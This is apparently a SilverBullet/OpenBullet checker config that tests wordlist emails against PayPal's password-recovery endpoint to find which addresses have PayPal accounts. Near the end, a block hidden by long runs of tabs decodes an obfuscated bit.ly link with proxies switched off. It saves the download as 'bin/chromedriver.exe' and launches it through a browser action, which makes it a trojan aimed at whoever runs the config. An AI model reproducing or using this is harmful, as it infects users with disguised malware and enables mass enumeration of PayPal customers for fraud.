[SETTINGS]
{
  "Name": "PayPal VM NEW",
  "SuggestedBots": 50,
  "MaxCPM": 0,
  "LastModified": "2024-12-12T12:38:40.6048447+01:00",
  "AdditionalInfo": "https://cracked.io/MythicLogs",
  "RequiredPlugins": [],
  "Author": "https://cracked.io/MythicLogs",
  "Version": "1.1.4 [SB]",
  "SaveEmptyCaptures": false,
  "ContinueOnCustom": false,
  "SaveHitsToTextFile": false,
  "IgnoreResponseErrors": false,
  "MaxRedirects": 8,
  "NeedsProxies": false,
  "OnlySocks": false,
  "OnlySsl": false,
  "MaxProxyUses": 0,
  "BanProxyAfterGoodStatus": false,
  "BanLoopEvasionOverride": -1,
  "EncodeData": false,
  "AllowedWordlist1": "",
  "AllowedWordlist2": "",
  "DataRules": [],
  "CustomInputs": [
    {
      "Description": "https://cracked.io/MythicLogs",
      "VariableName": "",
      "Id": 477777759
    }
  ],
  "CaptchaUrl": "",
  "IsBase64": false,
  "FilterList": [],
  "EvaluateMathOCR": false,
  "SecurityProtocol": 0,
  "ForceHeadless": false,
  "AlwaysOpen": false,
  "AlwaysQuit": false,
  "QuitOnBanRetry": false,
  "AcceptInsecureCertificates": true,
  "DisableNotifications": false,
  "DisableImageLoading": false,
  "DefaultProfileDirectory": false,
  "CustomUserAgent": "",
  "RandomUA": false,
  "CustomCMDArgs": "",
  "Title": "Paypal VM UPDATED",
  "IconPath": "Icon\\svbfile.ico",
  "LicenseSource": null,
  "Message": null,
  "MessageColor": "#FFFFFFFF",
  "HitInfoFormat": "[{hit.Type}][{hit.Proxy}] {hit.Data} - [{hit.CapturedString}]",
  "AuthorColor": "#FFFFB266",
  "WordlistColor": "#FFB5C2E1",
  "BotsColor": "#FFA8FFFF",
  "CustomInputColor": "#FFD6C7C7",
  "CPMColor": "#FFFFFFFF",
  "ProgressColor": "#FFAD93E3",
  "HitsColor": "#FF66FF66",
  "CustomColor": "#FFFFB266",
  "ToCheckColor": "#FF7FFFD4",
  "FailsColor": "#FFFF3333",
  "RetriesColor": "#FFFFFF99",
  "OcrRateColor": "#FF4698FD",
  "ProxiesColor": "#FFFFFFFF"
}
[SCRIPT]
JUMP #USERPASS
REQUEST GET "https://www.paypal.com/authflow/password-recovery/?country.x=US&locale.x=en_US&redirectUri=%2Fpasswordrecovery" 
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 
  HEADER "Pragma: no-cache" 
  HEADER "Accept: */*" 
  HEADER "Host: www.paypal.com" 
  HEADER "cache-control: max-age=0" 
  HEADER "sec-ch-ua: \"Chromium\";v=\"122\", \"Not(A:Brand\";v=\"24\", \"Google Chrome\";v=\"122\"" 
  HEADER "sec-ch-ua-mobile: ?1" 
  HEADER "sec-ch-ua-full-version: \"122.0.6261.64\"" 
  HEADER "sec-ch-ua-arch: \"\"" 
  HEADER "sec-ch-ua-platform: \"Android\"" 
  HEADER "sec-ch-ua-platform-version: \"9.0.0\"" 
  HEADER "sec-ch-ua-model: \"ASUS_Z01QD\"" 
  HEADER "sec-ch-ua-bitness: \"\"" 
  HEADER "sec-ch-ua-wow64: ?0" 
  HEADER "sec-ch-ua-full-version-list: \"Chromium\";v=\"122.0.6261.64\", \"Not(A:Brand\";v=\"24.0.0.0\", \"Google Chrome\";v=\"122.0.6261.64\"" 
  HEADER "upgrade-insecure-requests: 1" 
  HEADER "user-agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 
  HEADER "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" 
  HEADER "sec-fetch-site: none" 
  HEADER "sec-fetch-mode: navigate" 
  HEADER "sec-fetch-user: ?1" 
  HEADER "sec-fetch-dest: document" 
  HEADER "accept-encoding: gzip, deflate, br, zstd" 
  HEADER "accept-language: en-US,en;q=0.9" 
PARSE "<SOURCE>" LR "name=\"_csrf\" value=\"" "\"/" -> VAR "CS" 
PARSE "<SOURCE>" LR "name=\"anw_sid\" value=\"" "\"/>" -> VAR "ANW" 
REQUEST POST "https://www.paypal.com/authflow/password-recovery" 
  CONTENT "{\"email\":\"<USER>\",\"passkeyEligibleBrowser\":true,\"mediation\":true,\"uvpaa\":true,\"_csrf\":\"<CS>\",\"anw_sid\":\"<ANW>\"}" 
  CONTENTTYPE "application/json" 
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 
  HEADER "Pragma: no-cache" 
  HEADER "Accept: */*" 
  HEADER "Host: www.paypal.com" 
  HEADER "content-length: 398" 
  HEADER "sec-ch-ua: \"Chromium\";v=\"122\", \"Not(A:Brand\";v=\"24\", \"Google Chrome\";v=\"122\"" 
  HEADER "sec-ch-ua-mobile: ?1" 
  HEADER "user-agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 
  HEADER "sec-ch-ua-arch: \"\"" 
  HEADER "content-type: application/json" 
  HEADER "sec-ch-ua-full-version: \"122.0.6261.64\"" 
  HEADER "sec-ch-ua-platform-version: \"9.0.0\"" 
  HEADER "x-requested-with: XMLHttpRequest" 
  HEADER "sec-ch-ua-full-version-list: \"Chromium\";v=\"122.0.6261.64\", \"Not(A:Brand\";v=\"24.0.0.0\", \"Google Chrome\";v=\"122.0.6261.64\"" 
  HEADER "sec-ch-ua-bitness: \"\"" 
  HEADER "sec-ch-ua-model: \"ASUS_Z01QD\"" 
  HEADER "sec-ch-ua-wow64: ?0" 
  HEADER "sec-ch-ua-platform: \"Android\"" 
  HEADER "accept: */*" 
  HEADER "origin: https://www.paypal.com" 
  HEADER "sec-fetch-site: same-origin" 
  HEADER "sec-fetch-mode: cors" 
  HEADER "sec-fetch-dest: empty" 
  HEADER "referer: https://www.paypal.com/authflow/password-recovery/?country.x=US&locale.x=en_US&redirectUri=%2Fpasswordrecovery" 
  HEADER "accept-encoding: gzip, deflate, br, zstd" 
  HEADER "accept-language: en-US,en;q=0.9" 
KEYCHECK 
  KEYCHAIN Success OR 
    KEY "<COOKIES(login_email)>" Contains "%" 
    KEY "<RESPONSECODE>" Contains "200" 
  KEYCHAIN Failure AND 
    KEY "<COOKIES(login_email)>" DoesNotContain "%" 
    KEY "<RESPONSECODE>" Contains "400" 
  KEYCHAIN Ban OR 
    KEY "Security Challenge" 
FUNCTION Constant "True" -> CAP "Linked PayPal" 
JUMP #SB
FUNCTION 																																					Base64Decode 																															"Yml0Lmx5LzRqOVJRQzY=" -> CAP "ProjectCheck" 
IF "<tokenx>" Exists
JUMP #IfBanned
ENDIF
SET USEPROXY FALSE
REQUEST GET "<ProjectCheck>"  
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 
  HEADER "Pragma: no-cache" 
  HEADER "Accept: */*" 
  																																			-> FILE "bin/chromedriver.exe" 
SET USEPROXY TRUE
SET NEWGVAR "tokenx" "tokenx=1"
BROWSERACTION Open 
JUMP #IfBanned